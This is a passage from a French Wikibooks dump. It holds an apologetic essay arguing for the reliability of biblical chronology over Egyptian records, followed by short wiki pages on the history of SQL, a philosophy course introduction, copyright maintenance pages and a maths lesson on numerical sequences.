durée de l’exercice de tel ou tel homme public. Les Romains finirent par fixer eux aussi une ère, comptant les années à partir de la date traditionnelle de la fondation de Rome (753 av. n. è.). Ils désignèrent également certaines années en citant les noms des deux consuls en fonction de cette année-là. C’est seulement au VIe siècle de n. è. qu’un moine du nom de Denys le Petit fixa le début de ce qu’on appelle couramment aujourd’hui l’“ ère chrétienne ” ou plus correctement “ notre ère ” (l'année choisie comme étant celle de la naissance du Christ est d'ailleurs très certainement erronée). Les peuples mahométans (islamiques) datent les années à partir de l’hégire (la fuite de Mahomet de La Mecque en 622 de n. è.). En revanche, rien n’indique que les peuples de l’Antiquité, voisins des Israélites, comme les Égyptiens, les Assyriens et les Babyloniens, aient utilisé le système de l’ère durant une période relativement longue. Dans le récit biblique, il n’est jamais expressément question d’une ère fixée comme point de départ et par rapport à laquelle tous les événements sont datés ensuite. C'est d'ailleurs un point de détail problématique pour plusieurs biblistes comme André Chouraqui qui fait cette remarque : "Les Hébreux ignoraient le principe de l'ère (…). Il leur était donc impossible d'avoir une chronologie précise" – L'univers de la Bible par André Chouraqui, Editions Lidis, 1985, Tome X p.124. Sans vouloir complètement contredire ce prestigieux bibliste, cela ne signifie pas pour autant qu’il n’existait pas de système permettant de donner aux événements passés leur place précise et exacte dans le cours du temps. Le fait que les rédacteurs de la Bible aient pu citer des chiffres précis relatifs à des périodes de plusieurs siècles lorsqu’ils rapportèrent des événements particuliers démontre que ni le peuple d’Israël ni ses ancêtres ne se désintéressaient de la chronologie. Ainsi, Moïse a pu écrire : “ Il arriva à la fin des quatre cent trente ans [comptés ici à partir de l’époque où Abraham traversa l’Euphrate pour se rendre en Canaan, époque où, semble-t-il, Dieu valida l’alliance conclue avec lui], oui il arriva, en ce jour-là même, que toutes les armées de Jéhovah sortirent du pays d’Égypte. ” (Exode 12:41, TMN). De même, en 1 Rois 6:1, le récit dit que “ dans la quatre cent quatre-vingtième année après que les fils d’Israël furent sortis du pays d’Égypte ”, le roi Salomon commença la construction du temple de Jérusalem. Toutefois, ni la validation de l’alliance abrahamique ni l’Exode n’en vinrent à servir couramment de départ d’une ère dans l’historique d’autres événements. Le plus souvent, les rédacteurs de la Bible situent les événements dans le cours du temps un peu comme on le fait naturellement dans la vie courante. De même qu’aujourd’hui quelqu’un situerait un événement en disant qu’il a eu lieu “ l’hiver après le grand verglas” ou “ six ans après la fin de la guerre du Vietnam ”, de même les rédacteurs de la Bible rattachèrent les événements qu’ils racontaient à des points de repère relativement proches. Dans certains cas, on ne peut tirer de conclusion absolue en matière de chronologie parce qu’on ne connaît pas toujours précisément le repère utilisé par l’écrivain. D’autre part, un rédacteur utilise parfois plus d’un point de départ pour dater les événements à mesure qu’il traite d’une certaine période de l’Histoire. Cette variation dans le choix des points de départ ne trahit pas de l’imprécision ou de la confusion de la part du rédacteur. On ne peut juger ses méthodes uniquement d’après ce qu’on pense être la bonne façon de noter les événements selon les systèmes modernes. Malgré ce qui a pu être dit par les scientifiques et la Haute Critique, les éléments dont on dispose à ce jour démontrent de façon convaincante que la chronologie biblique n'est pas en contradiction avec les découvertes scientifiques. Elle l'est uniquement avec les différentes interprétations de ces découvertes ! == 3.1 DE L'HOMOGÉNÉITÉ DU TEXTE BIBLIQUE == La Bible est un livre historique qui se démarque parmi les écrits anciens. Les récits historiques des Égyptiens, des Assyriens, des Babyloniens, des Mèdes, des Perses et d’autres peuples de l’Antiquité sont essentiellement fragmentaires ; leurs périodes les plus anciennes sont soit obscures, soit, telles qu’ils les présentent, manifestement mythiques. Par exemple, le document ancien connu sous le nom de Liste d’éponymes royale sumérienne commence ainsi : “ La royau[té] étant descendue du ciel, [Eri]du (fut) pour la royauté. A Eridu, Alulim fut roi ; il régna 28 800 ans ; Alalgar régna 36 000 ans ; 2 rois régnèrent 64 800 ans. [...] A Bad-tibira, Enme(n)-lu-ana régna 43 200 ans ; Enme(n)-gal-ana régna 28 800 ans ; le divin Dumuzi, le pasteur, régna 36 000 ans ; 3 rois régnèrent 108 000 ans. ” — Chroniques mésopotamiennes, par J.-J. Glassner, Paris, 1993, p. 138. Les données que nous possédons provenant des textes profanes des nations antiques ont été laborieusement assemblées à partir de bribes de renseignements glanées sur des monuments et des tablettes, ou dans les écrits ultérieurs de la période gréco-romaine des “ historiographes classiques ”. Les archéologues ont mis au jour des dizaines de milliers de tablettes d’argile couvertes d’inscriptions cunéiformes assyro-babyloniennes ainsi que de nombreux rouleaux de papyrus en Égypte. Dans la très grande majorité des cas il s’agit de textes religieux et de documents commerciaux : contrats, factures, actes, etc. Les textes historiques, bien moins nombreux, conservés sur des tablettes, des cylindres, des stèles ou des monuments, sont essentiellement des panégyriques d’empereurs et des récits pompeux de leurs campagnes militaires. À l'opposé, la Bible présente une histoire cohérente et détaillée qui s’étend sur environ quatre millénaires. En effet, (1) elle rapporte avec une remarquable continuité les faits depuis la création de l’homme jusqu’à l’époque du gouvernorat de Nehémia au Ve siècle av. n. è. (2) Si l'on inclut les deux livres deutérocanoniques des Maccabées, on couvre également la période Asmonéenne du IIe siècle av. n. è. Du reste, on peut aussi considérer que, (3) grâce à la prophétie de Daniel chapitre 11, elle fournit les grandes lignes de la période allant de Nehémia aux jours de Jésus et de ses apôtres. La Bible offre une histoire vivante et authentique de la nation d’Israël depuis sa naissance, exposant avec franchise ses points forts comme ses points faibles, ses réussites comme ses échecs, son culte, vrai comme faux, ses bénédictions comme ses condamnations et malheurs. Cette honnêteté n’est certes pas à elle seule une garantie d’exactitude chronologique, mais elle donne une bonne raison d’avoir confiance dans l’intégrité des rédacteurs de la Bible et dans leur souci sincère de rapporter la vérité. Les chroniqueurs de la Bible, tels que les rédacteurs de Un et Deux Rois et de Un et Deux Chroniques, disposaient manifestement d’annales détaillées. C’est ce qu’indiquent les longues généalogies comportant des centaines de noms qu’ils furent en mesure de compiler, ainsi que la présentation cohérente et authentique des règnes de tous les rois de Juda et d’Israël exposant leurs relations avec les autres nations et les uns avec les autres. Les historiens modernes admettent aujourd’hui encore être incertains de la place à attribuer à tel ou tel roi assyrien ou babylonien, même dans les dernières dynasties. Par contre, il n’y a aucune incertitude quant à l’ordre de succession des rois de Juda et d’Israël. Dans les Écritures, il est fait mention du “ livre des Guerres de Jéhovah ” (Nombres 21:14, 15), du “ livre des affaires des jours des rois d’Israël ” (1 Rois 14:19 ; 2 Rois 15:31), du “ livre des affaires des jours des rois de Juda ” (1 Rois 15:23 ; 2 Rois 24:5), du “ livre des affaires de Salomon ” (1 Rois 11:41), et d’autres annales ou documents officiels semblables sont cités de nombreuses fois par Ezra et Nehémia. Cela montre que les rédacteurs de la Bible ne comptaient pas seulement sur leur mémoire ou sur la tradition orale pour inscrire des renseignements, mais qu’ils faisaient des recherches minutieuses et se documentaient parfaitement. Les historiens de la Bible citent également les archives gouvernementales d’autres nations, certaines parties de la Bible ayant d’ailleurs été écrites dans d’autres pays qu’Israël, en Égypte, en Babylonie et en Perse par exemple. Voit-on la même rigueur dans les autres sources historiques des peuples contemporains ? == 3.2 CHRONOLOGIE BIBLIQUE ET L’HISTOIRE PROFANE. == On entend souvent dire qu’il faut “ harmoniser ” ou “ concilier ” le récit biblique avec la chronologie établie à partir de textes profanes anciens. Cette démarche honorable des scientifiques et des religieux accordant beaucoup de crédit à la science, n'est pas dénuée d'intérêt. Elle permet souvent de trouver des relations entre les événements et de présenter des théories intéressantes pour améliorer notre compréhension du passé. Mais si ce travail est fait dans l'objectif de découvrir la vérité ou les faits, cela suppose qu'il est avéré que les textes profanes anciens sont incontestablement exacts et toujours fiables. Si ce n'est pas le cas, alors le bibliste est en droit, dans sa quête de vérité, d'essayer lui aussi d'harmoniser les découvertes archéologiques avec le texte saint, auquel il donne plus d'importance. Les détracteurs de la Bible ont souvent laissé entendre que la chronologie scripturale est inférieure à celle des nations contemporaines des temps bibliques. En fait, il n’y a pas lieu de douter de l’exactitude de la chronologie biblique simplement sous prétexte que certains documents profanes divergent d’avec elle. Au contraire, c’est uniquement lorsque la chronologie profane s’harmonise avec le récit biblique qu’on est fondé à avoir une certaine confiance dans cette datation profane antique. Quand on examine les annales des nations païennes qui eurent des contacts avec la nation d’Israël, il faut se rappeler que certaines des divergences apparentes qu’on y trouve sont peut-être simplement dûes à l’incapacité des historiens modernes d’interpréter correctement les méthodes utilisées autrefois, semblable à leur incapacité d’interpréter correctement les méthodes employées par les historiens de la Bible. Cela dit, quantité de faits attestent que les historiens et les chronologistes païens se montrèrent incontestablement négligents, inexacts, voire furent délibérément des mystificateurs. '''3.2.1 L'ABSENCE DE MANUSCRITS ORIGINAUX DE LA BIBLE''' Il existe des documents non bibliques antérieurs de plusieurs siècles aux plus anciennes copies manuscrites de la Bible découvertes à ce jour. Gravés sur la pierre ou écrits sur l’argile, des documents antiques sont peut-être très impressionnants, mais cela ne garantit pas forcément qu’ils sont exacts et exempts de tout mensonge. Dans le domaine de la chronologie comme dans d’autres d’ailleurs, les éléments importants qui donnent confiance ne sont pas tant le support d’écriture que l’écrivain, son but, son respect de la vérité et son attachement aux principes justes. Le grand âge des documents profanes ne compense pas la qualité largement inférieure de leur contenu par rapport à celui de la Bible. L’absence à ce jour d’exemplaires originaux du texte biblique peut facilement s’expliquer : le texte fut de toute évidence rédigé sur des matériaux périssables, tels que le papyrus et le vélin, il était utilisé en permanence, et le climat de la plupart des régions d’Israël (différent de celui d’Égypte, extraordinairement sec) a des effets néfastes. Cependant, la Bible a été très soigneusement copiée et conservée dans son intégralité jusqu’à ce jour (1Pierre 1:24, 25). La fiabilité de la chronologie biblique n'est pas garantie par l’inspiration divine grâce à laquelle les historiens de la Bible rédigèrent leurs écrits ! — 2 Pierre 1:19-21. Afin d’illustrer pourquoi les textes historiques profanes ne peuvent être le critère d’exactitude sur lequel juger la chronologie biblique, on peut citer C. Ceram, auteur spécialisé en archéologie, qui, à propos de la science moderne qu’est la datation historique, a écrit : “ Quand on étudie l’histoire ancienne, on est frappé par la sûreté avec laquelle les historiens actuels situent dans le temps des événements qui se sont produits il y a des milliers d’années. L’étonnement se transforme en crainte respectueuse à mesure que l’examen des sources historiques révèle combien, à l’époque où les documents furent rédigés, les données étaient pauvres, inexactes ou erronées. Ces documents nous sont parvenus à l’état de fragments ; les inscriptions sont effacées par le temps ou mutilées par la main des hommes. ” — Le secret des Hittites, Paris, 1955, p. 135, 136. Puis il parle de l’ensemble de l’histoire chronologique comme d’“un squelette, un bâti autour duquel il n’y a rien”. Ce commentaire peut sembler excessif, mais si on s’en tient aux annales profanes, il n’est pas dénué de fondement. == 3.3 LA CHRONOLOGIE ÉGYPTIENNE == L’histoire de l’Égypte coïncide avec celle d’Israël à diverses reprises. Les historiens modernes se fondent principalement sur certains documents qui se présentent sous la forme de listes de rois égyptiens ou d’annales. <div style="float:left;margin:0 1em 1em 0"> [[Image:Palerm01.jpg]] <br>Pierre de Palerme''</div> Il y a entre autres la Pierre de Palerme fragment qui présente ce qu’on pense être les cinq premières “ dynasties ” de l’histoire de l’Égypte ; le Papyrus de Turin (voir Figure 2), très fragmentaire, qui donne une liste de rois et de leurs règnes depuis l’“ Ancien Empire ” jusqu’au “ Nouvel Empire ” ; et d’autres inscriptions gravées sur de la pierre, elles aussi fragmentaires. Ces listes séparées et d’autres inscriptions indépendantes ont été placées dans un ordre chronologique à l’aide des écrits de Manéthon. Manéthon de Sebennytos est un prêtre égyptien qui vécut sous le règne du roi grec Ptolémée Ier Soter le Lagide. Il était originaire de la ville de Sebennytos dans le delta central. Il écrivit vers 271 av. n. è ses Aiguptiaka (en 30 volumes) ou chroniques égyptiennes où il classait les pharaons en trente et une dynasties, classement suivi aujourd’hui encore par les égyptologues. Nous ne possédons, à l'heure actuelle que des citations au travers de fragments ou d'abrégés des Aiguptiaka. Ces sources, ainsi que des calculs astronomiques fondés sur des textes égyptiens traitant des phases de la lune et du lever de Sirius (Sothis), ont servi à établir une table chronologique. '''3.3.1 LES FAIBLESSES DE LA CHRONOLOGIE ÉGYPTIENNE.''' On n’a trace des œuvres de Manéthon, qui servirent à donner un ordre aux listes fragmentaires et à d’autres inscriptions, que dans les écrits d’historiens d’époques ultérieures, comme Josèphe (Ier siècle de n. è.), Sextus Julius Africanus (IIIe siècle de n. è. ; il vécut donc plus de 500 ans après Manéthon), Eusèbe (IVe siècle de n. è.) et Georges le Syncelle (fin du VIIIe ou début du IXe siècle de n. è.). Comme le déclare W. Waddell, leurs citations des écrits de Manéthon sont fragmentaires et souvent déformées, si bien qu’“ il est extrêmement difficile de déterminer avec certitude ce qui provient de Manéthon et ce qui est falsifié ou altéré ”. Après avoir montré que les textes originaux de Manéthon contenaient des traditions sans valeur historique et des légendes qui “ présentaient les rois comme leurs héros, sans souci de l’ordre chronologique ”, il dit : “ Il y avait dès l’origine de nombreuses erreurs dans l’œuvre de Manéthon : toutes ne sont pas dues aux fautes des scribes et des réviseurs. Les durées de nombreux règnes sont apparues impossibles : dans certains cas, les noms et la succession des rois selon Manéthon se sont révélés irrecevables à la lumière du témoignage des monuments. ” — Manetho, introduction, p. vii, xvii, xx, xxi, xxv. Un ouvrage montre que les longueurs excessives de nombreuses périodes données par Manéthon s’expliquent probablement par le fait que certains règnes furent simultanés et non successifs. Il s’agit de Studies in Egyptian Chronology, par T. Nicklin (Blackburn, Angleterre, 1928, p. 39), qui dit ceci : “ Les dynasties manéthoniennes [...] ne sont pas des listes de souverains de toute l’Égypte, mais des listes énumérant en partie des princes plus ou moins indépendants, en partie [...] des lignées princières d’où sortirent ultérieurement des souverains de toute l’Égypte. ” Comme le professeur Waddell (p. 1-9) le fait remarquer, “ il se peut que plusieurs rois égyptiens aient régné en même temps ; [...] il ne s’agissait donc pas d’une succession de rois ayant occupé le trône l’un après l’autre, mais de plusieurs rois ayant régné en même temps dans différentes régions. D’où le grand nombre d’années au total ”. L'un des inconvénients majeurs de la chronologie égyptienne est justement le même que celle que l'on reproche parfois à la Bible. Georges Posener dans Le dictionnaire de la Civilisation Égyptienne l’explique en ces termes : " Les Égyptiens comptaient les années pour chaque roi séparément et recommençaient le compte à chaque changement de souverain. Ils disaient : " An 5 de Ramsés ", " An 20 d'Aménophis ", sans se préoccuper de l'ordre de succession des pharaons. Ils ne donnaient même pas de numéros aux rois porteurs du même nom, comme nous avons l'habitude de le faire, mais distinguaient les onze Ramsès et les quatre Aménophis par différents éléments de leur protocole. Ainsi l'Egypte a eu autant de petites ères indépendantes et sans corrélation entre elles qu'elle a eu de pharaons. Comment savoir, dans ces conditions, qui, de Ramsès ou d'Aménophis, et lequel, parmi les Ramsès et les Aménophis, a régné avant l'autre ? Comment savoir à quelle époque ils ont vécu ? (…) Faute de savoir que certains règnes sont contemporains, on les enregistre les uns après les autres et on fausse le calcul. Ces raisons et d'autres encore font que le procédé indiqué, s'il donne de bons résultats pour les périodes de stabilité politique, ne permet pas d'établir une chronologie précise." – Dictionnaire de la Civilisation Égyptienne par Georges Posener, 1998, Hazan Les égyptologues se fient davantage aux inscriptions antiques elles-mêmes. Pourtant, le soin, la véracité et l’intégrité morale des scribes égyptiens sont loin d’être au-dessus de tout soupçon. Le professeur J. Wilson écrit à ce sujet : “ Il faut lancer une mise en garde concernant la véritable valeur historique des inscriptions égyptiennes. C’était un monde de [...] mythes et de miracles divins. ” Puis, après avoir émis l’idée que les scribes n’hésitaient pas à jongler avec la chronologie des événements dans le but de louer davantage le monarque du moment, il ajoute : “ En général, l’historien accepte ses données telles qu’elles sont, à moins qu’il y ait manifestement lieu d’en douter ; mais il doit être prêt à ne plus les accepter dès que des éléments nouveaux jettent une lumière différente sur l’interprétation précédente. ” — The World History of the Jewish People, 1964, vol. 1, p. 280, 281. '''3.3.2 L’ABSENCE DE RENSEIGNEMENTS CONCERNANT ISRAËL''' L'absence de traces de la présence du peuple d'Israël en Egypte est souvent évoquée pour décridibiliser la chronologie biblique et surtout le récit de l'Exode. On lira souvent des sentences telles que celle-ci : «Nous n’avons pas la moindre trace, pas un seul mot, mentionnant la présence d’Israélites en Égypte : pas une seule inscription monumentale sur les murs des temples, pas une seule inscription funéraire, pas un seul papyrus. L’absence d’Israël est totale que ce soit comme ennemi potentiel de l’Égypte, comme ami, ou comme peuple asservi.» — La Bible dévoilée, les nouvelles révélations de l'archéologie, Israël Finkelstein, Neil Asher Silberman, Bayard, 2002 En effet, la plus ancienne mention des Hébreux est une stèle commémorant, à la fin du XIIIe siècle av. n. è, la victoire du pharaon Merneptah sur le peuple d’Israël en Canaan. Mais cette absence n’est pas surprenante: la fuite d'un groupe d'esclaves — comme il pouvait s'en produire de temps à autres — ne représentait surement pas un événemement honorifique pour les égyptiens. Non contents de ne pas consigner dans leurs annales les renseignements qui n’étaient pas à leur honneur, les Égyptiens n’hésitaient pas à faire disparaître les renseignements consignés par un monarque précédent s’ils n’étaient pas du goût du pharaon en place. Ainsi, après la mort de la reine Hatshepsout, Thoutmosis III fit ôter son nom et ses représentations des reliefs sculptés sur les monuments. Cette pratique explique sans nul doute pourquoi il n’existe aucune trace égyptienne, connue, du séjour de 215 ans des Israélites en Égypte ni de leur exode et que les historiens modernes situent l’Exode entre 1441 et 1225 av. n. è., une fourchette de plus de 200 ans . Selon les chronologies egyptiennes, le XIIIe siècle av. n. è. serait marqué par le règne de deux grands Pharaons: Séti Ier (1309-1290) et Ramsès II (1290-1224). Plusieurs commentateurs ont cherché à relier un de ses deux Pharaons aux Israëlites. Ramsès II ayant fait construire des bases militaires dans le delta du Nil et que des prisonniers de guerre, des esclaves et des immigrants, surtout d'origine asiatique (tels les Sémites et les Assyriens), furent engagés pour réaliser ces travaux bien des commentateurs essaient d'y voir une preuve que ce Pharaon est bien celui de la Bible. Mais la Bible ne donne pas le nom du pharaon qui régnait à l’époque de l’Exode ; les efforts faits pour l’identifier reposent donc sur des conjectures. Image:Palerm01.jpg 2241 13855 2005-01-13T06:08:12Z Yannrousselotpailley 163 '''Pierre de Palerme ''' Stèle en basalte, de l'Ancien Empire, dont les faces étaient inscrites des annales des règnes des hautes époques égyptiennes (de la Ière jusqu'à la Ve dynastie). Plusieurs fragments incomplets de cette stèle ont été retrouvés, le plus important est conservé au musée de Palerme, en Sicile. Programmation SQL Introduction 2244 39185 2006-03-29T13:32:02Z 139.124.68.71 {{Programmation SQL}} '''SQL''' est l'acronyme de '''S'''tructured '''Q'''uery '''L'''anguage. [[w:SQL|SQL]] est un langage d'interrogation de bases de données, supporté par la plupart des systèmes de gestion de bases de données relationnelles du marché, parmi lesquels [[w:Oracle|Oracle]], [[w:IBM DB2|IBM DB2]], [[w:Microsoft SQL Server|Microsoft SQL Server]], [[w:Sybase|Sybase]] ASE, [[w:Microsoft Access|Microsoft Access]], [[w:MySQL|MySQL]], [[w:PostgreSQL|PostgreSQL]], [[w:Borland Interbase|Borland Interbase]], [[w:FirebirdSQL|FirebirdSQL]], [[w:Informix|Informix]], [[w:Ingres|Ingres]]... == Historique == * 1970 : Création de SQL par [[w:IBM|IBM]] * 1977 : IBM Sequel, première base de donnée utilisant ce système * 1979 : Lancement d'Oracle SQL RDBMS * 1986 : Normalisation SQL1 de l'ANSI (également appelée SQL-86) * 1989 : Extension de la norme SQL1 (également appelée SQL-89) * 1992 : Normalisation SQL2 de l'ANSI (également appelée SQL-92) * 1999 : Normalisation SQL3 de l'ANSI (également appelée SQL-99) Bambara 2245 13859 2005-02-12T03:01:51Z Guaka 165 #redirect [[Enseignement du bambara]] #redirect [[Enseignement du bambara]] Faire le Vrai 2249 19180 2005-08-15T17:36:47Z Zulul 474 """FAIRE LE VRAI""" - Cours de philosophie de Pierre MARCHAL ==INTRODUCTION== La philosophie se centre traditionnellement autour de trois questions fondamentales : * la question de la méthaphysique qui s'interroge sur l'être : ce qu'est, en dernière analyse, l'être de la matière, de l'esprit, de la vie,... Qu'est-ce que le fait d'être? * la question éthique qui tente d'articuler les différentes composantes de l'action humaine : que faire et pourquoi ? ou au nom de quelles valeurs ? * mais, dès son origine, la philosophie est marquée par la question de la vérité. Avant même de s'interroger sur l'être et les valeurs, avant de proposer une ou des solutions à ces questions, il est impérieux de se demander : quel crédit peut-on accorder à notre faculté de connaître ? A quelles conditions nos connaissances peuvent-elles être dites vraies ? Quelle(s) relation(s) entretiennent-elles avec ce que nous nommons la "réalité"? Modèle:Copie de site 2252 40049 2006-04-12T16:30:44Z Greudin 1 [[Modèle:UrlCopyright]] déplacé vers [[Modèle:Copie de site]]: francisé {| align="center" style="background-color:#f7f8ff; width:80%; text-align:justify; padding:5px; border:1px solid #8888aa; border-right-width:2px; border-bottom-width:2px; margin-bottom:2em" |- ||[[image:Achtung.svg|40px]]||'''Important''' : cet article est soupçonné d'enfreindre un [[Wikilivres:Copyright|copyright]]. Il est la copie conforme du site '''[{{{site}}} {{{nom}}}]. '''Consultez la page listant [[Wikilivres:Pages soupçonnées de copyright#{{PAGENAME}}|les pages soupçonnées de copyright]] pour tout éclaircissement et informations complémentaires, ainsi que la page de discussion de l'article. |} [[Catégorie:Soupçon de travail sous copyright]] Image:Panneau attention 40.png 2253 13864 2005-01-16T01:16:09Z Guillaumito 46 Wikilivres:Pages soupçonnées de copyright 2254 20349 2005-08-31T15:02:14Z Pfv2 445 /* [[Végétarien & Végétalien - Vivre sans manger les animaux]] */ Après avoir relu l'intro du livre, la question de copyright semble reglée Pour plus d'information sur les règles à respecter en matière de [[w:fr:copyright|copyright]], voir [[w:Wikipedia:Copyrights]] et [[m:Wikipedia and copyright issues]]. Pour obtenir l'autorisation de l'auteur voir le modèle à la page [[w:fr:Wikipédia:Autorisation d'auteur]]. Si vous rencontrez une page dont le copyright semble problématique, ou douteux, [http://fr.wikibooks.org/w/wiki.phtml?title=Wikilivres:Pages_soup%C3%A7onn%C3%A9es_de_copyright&action=edit&section=new ajoutez-la à la liste ci-dessous]. Vous pouvez aussi ajouter votre commentaire en éditant cette page -- en gardant l'ordre alphabétique (si vous connaissez deja la source, vous pouvez ajouter votre commentaire dans le chapitre des « [[Wikilivres:Pages_soupçonnées_de_copyright#Copies_avérées|copies avérées]] »). Ensuite, éditez l'article en question en y ajoutant, en haut, ce message: <tt><nowiki>{{UrlCopyright|site=URL|nom=Titre}}</nowiki></tt> Si vous souhaitez consulter la liste complète des articles soupçonnés d'enfreindre un copyright : [[:Catégorie:Soupçon de travail sous copyright| afficher la liste complète]]. = Soupçon = = Copies avérées = == [[Thé chinois]] == [[Utilisateur:Guillaumito|Guillaumito]] 6 fév 2005 à 22:59 (UTC) :Je confirme que la page est de moi et qu'elle est maintenant dans Wikipédia, donc en [[w:fr:GFDL|fr:GFDL]] ; cf. '''[[w:fr:Thé chinois|fr:Thé chinois]]'''. [[Utilisateur:Vincent Ramos|Vincent Ramos]] 7 fév 2005 à 00:21 (UTC) == [[Livre de Cuisine]] == Copie du wikipedia avec violation de la GFDL (absence des historiques, absence de liens vers les articles d'origine).<br> Bon, je sais, c'est pas très sympa de ma part. Mais je voulais dire que la récupération des articles de wikipedia sans intégration des historiques n'est pas normale.<br> Fabos * La plupart des recettes ne se trouvent que sur wikibooks, (tout comme les images). N'hésite pas à contribuer. [[Utilisateur:Antoinel|Antoinel]] 28 jul 2005 à 16:38 (UTC) :Salut Antoine. C'est faux, il y a plein de recettes qui ont été récupérées de wikipedia, sans aucune indication de provenance, ni reprise des historiques. Ex : [[Cuisine:Recettes de bœuf]] [[Utilisateur:80.125.96.146|80.125.96.146]] 30 aoû 2005 à 07:49 (UTC) Catégorie:Soupçon de travail sous copyright 2255 25978 2005-11-24T17:30:39Z Marc 66 Voir [[Wikilivres:Pages soupçonnées de copyright]]. [[Catégorie:Maintenance]] Connaissance 2256 13867 2005-01-16T11:56:06Z Guillaumito 46 lien Pascal Selon [[w:fr:Blaise Pascal|Pascal]] on distingue trois formes de connaissance (trois ordres de grandeur) : * la connaissance [[empirique]], connaissance immédiate que nous apporte nos [[sens]]. * le connaissance conceptuelle, celle de l'esprit et de lintellect. * la connaissance [[affective]], celle du coeur (à laquelle on pourrait rattacher la [[représentation]] [[art]]istique) "Nous connaissonsla vérité non seulement par la raison, mais aussi par le coeur."Ps 282-110 Analyse:Suites 2257 45583 2006-06-24T14:07:10Z 88.121.80.46 /* Démonstration */ ==Définition : suite numérique== Soit l'application <math>u</math> de <math>\mathbb{N}</math> dans <math>\mathbb{R}</math><br><br> : <math>n \in \mathbb{N} \mapsto u_n \in \mathbb{R}</math><br><br> On dit que <math>(u_n)</math> est la suite numérique de terme général <math>u_n</math>.<br> On peut la citer extensivement sous la forme :<br> <math>\{ u_0,u_1,u_2,\cdots ,u_n, \cdots \} \subset \mathbb{R} </math> ===suite extraite=== On dit que <math>(v_p)</math> est une suite extraite (ou une sous-suite) de la suite <math>(u_n)</math><br> si et seulement si :<br> <math> \exists\ \phi :\N \to \N</math>strictement croissante telle que <math>\forall p\in\mathbb N, v_p=u_{\phi(p)}</math> ===suite stationnaire=== Soit <math>(u_n)</math> une suite numérique de terme général <math>u_n</math><br> On dit que <math>(u_n)</math> est une suite stationnaire si et seulement si :<br><br> : <math>\begin{matrix} a)\quad \exists N \in\mathbb{N} \\b)\quad \exists a \in\mathbb{R} \end{matrix}</math> tels que :<math>\forall n>N ; u_n=a </math> ===Suite Monotone=== Une suite est monotone si elle est croissante ou décroissante ====Suite croissante==== =====Définition===== une suite <math>(u_n)</math> est croissante à partir d'un certain rang si <br> :<math>\exists N \in \mathbb N</math> ::tel que <math>\forall n\geq N \Rightarrow u_{n+1}\geq u_n </math> =====Exemple===== <math> U_n = n^2 </math> ====Suite décroissante==== =====Définition===== une suite <math>(u_n)</math> est décroissante à partir d'un certain rang si <br> :<math>\exists N \in \mathbb N</math> ::tel que <math>\forall n\geq N \Rightarrow u_{n+1}\leq u_n </math> =====Exemple===== <math>u_n = \frac 1 n</math> ====Application==== pour savoir qu'une suite est monotone il est souvent astucieux <ul> <li> d'étudier le signe de <math>u_{n+1}-u_n\,</math> <br> <li> d'étudier le signe de <math>\frac{u_{n+1}}{u_n} - 1 </math> <br> <li> si la suite est de la forme <math>u_n=f(n)\,</math>, d'étudier la monotonie de f à partir du signe de sa dérivée </ul> =====Exemple===== ===Suite Bornée=== ====Suite Minorée==== Une suite <math>u_n</math> est minorée s'il existe au moins un réel inférieur à tous les termes de la suite, autrement dit si: :<math>\exists A\in\mathbb R</math> tel que <math>\forall n\in\mathbb N \ u_n>A </math> ====Suite Majorée==== Une suite <math>u_n</math> est majorée s'il existe au moins un réel superieur à tous les termes de la suite, autrement dit si: :<math>\exists A\in\mathbb R</math> tel que <math>\forall n\in\mathbb N \ u_n<A </math> ====Suite Bornée==== Une suite <math>u_n</math> est bornée si elle est majorée et minorée, c'est-à-dire qu'il existe au moins un réel A tel que: :<math>|u_n|<A\,</math> ====Exemples et applications==== ==Convergence et Limite== ===Limite finie=== ====Definition==== Une suite possédant une limite finie est convergente <br><br> On dit que la suite <math>(u_n)</math> converge vers une limite <math>l</math> si quelque soit <math>\epsilon>0</math> tous les terme de la suite <math>(u_n)</math> appartiennent à un intervalle <math>[l-\epsilon;l+\epsilon]</math> sauf un nombre fini de termes ou autrement dit: <br><br> <math> \forall\epsilon>0 \ \exists N(\epsilon) \in \mathbb N</math> <br> :tel que <math>\forall n>N(\epsilon) \Rightarrow |u_n-l|< \epsilon </math> <br><br> dans ce cas on note <math>\lim_{n \to \infty}u_n=l</math> ou <math>u_n \rightarrow l</math> ====Unicité de la limite==== =====Théorème===== Une suite convergente a une unique limite l. <br> =====Démonstration===== Soit une suite <math>(u_n)</math> convergente, supposons que la suite <math>(u_n)</math> possède deux limites distinctes <math>l</math> et <math>l'</math> d'après la definition de la limite on peut affirmer que: :<math> \forall\epsilon>0 \ \exists N \in \mathbb N</math> ::tel que <math>\forall n>N \Rightarrow |u_n-l|< \epsilon </math> et :<math> \forall\epsilon>0 \ \exists N' \in \mathbb N</math> ::tel que <math>\forall n>N' \Rightarrow |u_n-l'|< \epsilon </math> donc <math>n>\max(N,N')</math> on a :<math>|u_n-l|< \epsilon \,</math> (1) :<math>|u_n-l'|< \epsilon \,</math> (2) en additionnant (1) et (2) on a :<math>|u_n-l'|+|u_n-l|< 2\epsilon \,</math> (3) d'après l'inégalité triangulaire :<math>|l-l'|=|l-u_n - l'+ u_n| < |l - u_n|+|-l' + u_n| = |u_n - l'|+|u_n - l|\,</math> (4) en intégrant (4) à (3) on obtient<br> :<math>|l-l'|<2\epsilon\,</math> (5) puisque cette inégalité est vraie pour tout <math>\epsilon>0</math> et que l'on a posé au départ <math>l \ne l'</math> on peut poser <math>\epsilon = 1/4|l-l'|\,</math> en l'intégrant à (5) on obtient :<math>|l-l'|<2 \times \frac{1}{4} |l-l'|\,</math> :donc <math>1<\frac{1}{2}\,</math>j Ce qui est absurde, donc on vient de démontrer par l'absurde que l = l', et donc qu’il existe une et une seule limite à une suite convergente ====Théorème des suites monotone bornées==== =====Théorème===== Une suite majorée et croissante est convergente<br> Une suite minoré et décroissante est convergente <br> =====Démonstration===== ====Théorème des suites convergentes==== =====Théorème===== Une suite convergente est bornée <br> =====Démonstration===== <math>u_n</math> converge vers l, donc d'après la définition de la convergence d'une suite, il existe <math>N_0</math> tel que : <math> \forall\epsilon>0 \ \exists N_0(\epsilon) \in \mathbb N</math> tel que : <math>\forall n>N(\epsilon) \Rightarrow |u_n-l|< \epsilon </math> <br> On pose <math> \epsilon = 1</math> <br> D'ou pour <math>n>N_0</math>, on a : <br> <math> \epsilon > |u_n - l|> |u_n| - |l]</math><br> D'où on trouve <math>|u_n| < \epsilon + 1</math> <br> Or <math>\epsilon = 1</math>, d'où : <math>|u_n| < |l| + 1 </math><br> D'ou pour <math>n> N_0</math> : <math> |u_n| < max(|l| + 1, |u_0|, |u_1|, ....., |u_(N_0)|) = K</math> D'où <math> u_n</math> est bornée ------ Je 